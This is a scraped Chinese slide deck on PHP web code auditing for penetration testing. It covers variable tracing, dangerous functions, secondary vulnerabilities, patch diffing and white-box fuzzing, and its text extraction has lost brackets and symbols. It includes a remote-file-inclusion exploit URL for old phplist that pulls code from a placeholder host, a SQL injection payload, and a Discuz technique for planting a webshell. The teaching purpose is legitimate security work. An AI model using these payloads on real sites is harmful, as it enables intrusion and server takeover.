《WEB代码审计与渗透测试(1)》由会员分享,可在线阅读,更多相关《WEB代码审计与渗透测试(1)(39页珍藏版)》请在金锄头文库上搜索。
1、WEB代码审计与渗透测试, http:/,WEB应用程序代码审计,程序的两大根本:变量与函数 漏洞现成的条件:A、可以控制的变量【一切输入都是有害的 】B、变量到达有利用价值的函数危险函数【一切进入函数的变量是有害的】 漏洞的利用效果取决于最终函数的功能变量进入什么样的函数就导致什么要的效果,PHP应用程序代码审计,为什么只是PHP?A、跨平台、应用广泛、复杂B、变量处理灵活如变量覆盖、全局变量等C、函数库巨大导致漏洞类型多,既有通用的又有特有的E、代码审计的思路是可以通用的,变量,预定义变量常规外部提交的变量GPC $_ENV/SERVER/SESSION $HTTP_RAW_POST_DA
2、TA等 register_globals = on 未初始化的变量PHP 4.20 默认为off 变量覆盖未初始化及覆盖前定义的变量如:extract() 、遍历初始化变量、parse_str()等 变量的传递与存储中转的变量存储于数据库、文件如配置、缓存文件等,危险函数,文件包含包含漏洞 代码执行执行任意代码漏洞 命令执行执行任意命令漏洞 文件系统操作文件(目录)读写等漏洞 数据库操作SQL注射漏洞 数据显示 XSS等客服端漏洞 ,什么样的函数导致什么样的漏洞!,更多的变量处理与危险函数,高级PHP应用程序漏洞审核技术 http:/ 通过变量找函数正向跟踪变量$id=$_GETid$sid=
3、$id函数($sid) 通过函数找变量逆向跟踪变量函数($sid) $sid=$id $id=$_GETid,变量的传递与二次漏洞,变量存储、提取、传递是一个复杂的立体的过程 过程中经过多个不一样的函数的处理后继续传递,最终达到漏洞函数 传递的过程中任意环节可控就可能导致漏洞 中间函数处理的过程诞生新的变量,新的变量达到新的漏洞函数诞生新的漏洞二次漏洞,二次漏洞,什么是二次漏洞?2006年提出的一个概念主导思想:通过一个现有漏洞,创造新的漏洞使得漏洞利用最大化 一个demo,一个典型的文件删除漏洞,注意:include与require的区别,二次漏洞,又一个demo,一个注射漏洞 $sql=
4、“select id,filepath,user,name from attachment where fileid=$_GETid”; $result = mysql_db_query($dbname, $sql); $file=mysql_fetch_array($result);,然而: include($filefilepath); 一个貌似不可以直接控制的新变量$filefilepath进入了危险函数include(),?id=1 union select 1,http:/ 当然我们没有那个注射漏洞,只要我们对数据库有控制权限一样可以通过update、insert控制$filefil
5、epath。,一个实例: phplist-2.10.4old ver远程包含漏洞,/phplist-2.10.4public_htmllistsadminindex.php if (!ini_get(“register_globals“) | ini_get(“register_globals“) = “off“) /经典的变量覆盖漏洞模式foreach ($_REQUEST as $key = $val) $key = $val; /覆盖$_SERVER“ConfigFile”,经过is_file()判断后进入include() if (isset($_SERVER“ConfigFile“)
6、 ,但是is_file()是不支持远程文件的,所以到目前代码只是一个本地包含漏洞,phplist-2.10.4public_htmllistsadmincommonlibpagesimportcsv.phpif (!isset($GLOBALS“assign_invalid_default“)$GLOBALS“assign_invalid_default“ = $GLOBALSI18N-get(Invalid Email). number;register_shutdown_function(“my_shutdown“); require_once $GLOBALS“coderoot“ . “
7、structure.php“;,单独看上面的代码是没有办法提交$GLOBALS变量的!但是我们结合/phplist-2.10.4public_htmllistsadminindex.php里的变量覆盖漏洞,我们就可以提交$GLOBALS变量了,那么我们就可以控制$GLOBALS“coderoot” 实现远程包含Exp: /admin/index.php?_SERVERConfigFile=./commonlib/pages/importcsv.php&GLOBALSassign_invalid_default=1&GLOBALScoderoot=http:/xx.xx.xx.xx/实现了一次完
8、美的又本地包含转为远程包含的二次漏洞利用过程 ,又一个实例: Discuz!old ver远程代码执行漏洞,效果图:【实现“给我一个注射点,我给你一个shell”的目标】,注射得到uc_key中.,利用uc-key得到webshell代码执行,得到webshell的关键在于dz论坛的api借口里:api/uc.php里updateapps()对配置文件config.inc.php有读写操作,继续跟下updateapps()的调用:,$get的处理:,整过只要得到了uc_key就可以通过调用updateapps()对config.inc.php写操作了! 另外updateapps()的2个参数都
9、没有魔术引号的处理: $get = _stripslashes($get); $post = xml_unserialize(file_get_contents(php:/input);数据流不受魔术引号限制通过$configfile = preg_replace(“/define(UC_API,s*.*?);/i”, “define(UC_API, $UC_API);”, $configfile); 闭合define(UC_API, 来注射我们的webshell代码,二次漏洞的启示,漏洞的类型是可以转换的:最终的目的是攻击效果最大化! 一切进入函数的变量是有害的:变量在传递过程任意个环节可控
10、就可能导致漏洞! 变量传递的途径是多样的:我们的攻击思路多元化!如对于dz,去寻找可以找到uc_key的途径:sql注射、文件读取config.inc.php里存有uc_key、控制mysql的管理权限phpmyadmin等等,二次漏洞的其他应用,应用级别的“rootkit”,其他的因素与代码审计,php版本与代码审计变量与函数php.ini默认设置问题php本身函数的漏洞php缺少自动升级的机制 系统特性与代码审计包括OS: 主要是文件操作web服务器: 主要文件解析类型系统特性与web安全 http:/ 数据库类型与代码审计数据库注射与利用,渗透测试中的代码审计,代码审计的目的目的决定行为
11、甲方的代码审计:目的:防御要求:找到更多的漏洞,并且给出安全补丁建议等。并且对应用程序平台无特别要求。乙方的代码审计:目的:渗透也就是进攻要求:找到一个可用的漏洞就可以,但是要求快速、利用效果最大化等。并且要求在渗透测试目标的平台上可以利用。,渗透测试中的代码审计,代码审计前的准备A.得到代码a.对于开源的应用程序:得到程序的版本信息,越详细越好。*具体应用程序版本扫描b.对于不开源的应用程序:*通过黑盒扫描得到备用文件*通过黑盒扫描利用sql注射暴代码loadfile()*通过黑盒扫描利用容易文件下载漏洞*上一次渗透测试打包下载的代码B.得到平台信息php版本及php.ini一些基本设置、O
12、S信息、Web服务信息、数据库应用,渗透测试中的代码审计,快速代码审计:A.补丁对比技术B.业务功能与漏洞C.相似性漏洞挖掘D.基于白盒的fuzzE.常用变量与函数F.高级的代码审计,A 补丁对比技术,二进制补丁对比技术已经非常成熟开始于2004年 ,也诞生了反二进制对比的技术。PHP应用程序补丁对比技术*基于源代码,对比起来更加直观明了*目前还没有对应的反对比机制*对比工具:系统命令:fc、diff等专业工具:Beyond Compare、UltraCompare等*常见的安全补丁方式:变量初始化:$str=;、$arr=array();等变量过滤: intval/int()、addslas
13、hes()、正则等*对比的版本选择:选取临近的版本避免一些非安全补丁的干扰,一个实例,B 业务功能与漏洞,实现业务功能的同时引入安全风险。如:上传功能上传漏洞数据存储与查询sql注射漏洞后台或者api接口安全认证绕过数据库备用导出webshell 新的功能必定带来新的安全隐患。 功能越强大说明漏洞几率越大。 我们在审计代码的同时应该熟悉应用程序的业务功能。,C 相似性漏洞挖掘,天下武学同出少林天大代码一把抄最经典的故事属于asp:动网的上传漏洞 每个程序员都有自己的代码风格习惯不好的风格习惯,可能代码致命的安全漏洞,而且习惯很难改变! 相同的功能带来同样的漏洞如后台的功能和api接口实现相同的
14、功能 寻找相似性漏洞*通过补丁对比技术*通过漏洞分析、总结漏洞类型,D 基于白盒的fuzz,由于变量在传递的过程里千变万化,跟踪来很费事费力,为了快速找到漏洞 我们可以在白盒的基础上通用一些fuzz的方法,开始找到漏洞。,一、变量的存储 1、对于文本文件:如配置文件、缓存文件、文本数据库文件。如: $headers“X-Forwarded-For“ = “Test31425926“; 然后通过Findstr、grep等搜索特征字符Test31425926D:Findstr /S /I /N /d:D:phprootbmb2007bmb “Test31425926“ *.php D:phproo
15、tbmb2007bmb: datafileguest.php:2:?php /|娓稿|1163859032|Test31425926?|f|0|Firefox 1.5.0.8|Windows XP|t| 当然也用于其他get、post的变量、甚至是环境变量,比如注射用户名、发帖的标题内容设置为一个特征字符 2、对于数据库存储查询 可以让数据库出错的字符就行 比如,D 基于白盒的fuzz,二、全局变量主要是对于设置了register_globals = on 的情况下,在inlculdes的文件里设定的配置变量没有初始化的问题:那么不是所有的文件都这样的问题,我们可以先通过白盒找到这些可能出现问题的变量名,然后可以写个fuzz的脚本,列表程序目录一个一个提交探测,E.常用变量与函数,如果通过上述一些办法都没有效果的话,那就开始正规的代码审计流程把。如简单的直接的include/require、eval、system等函数,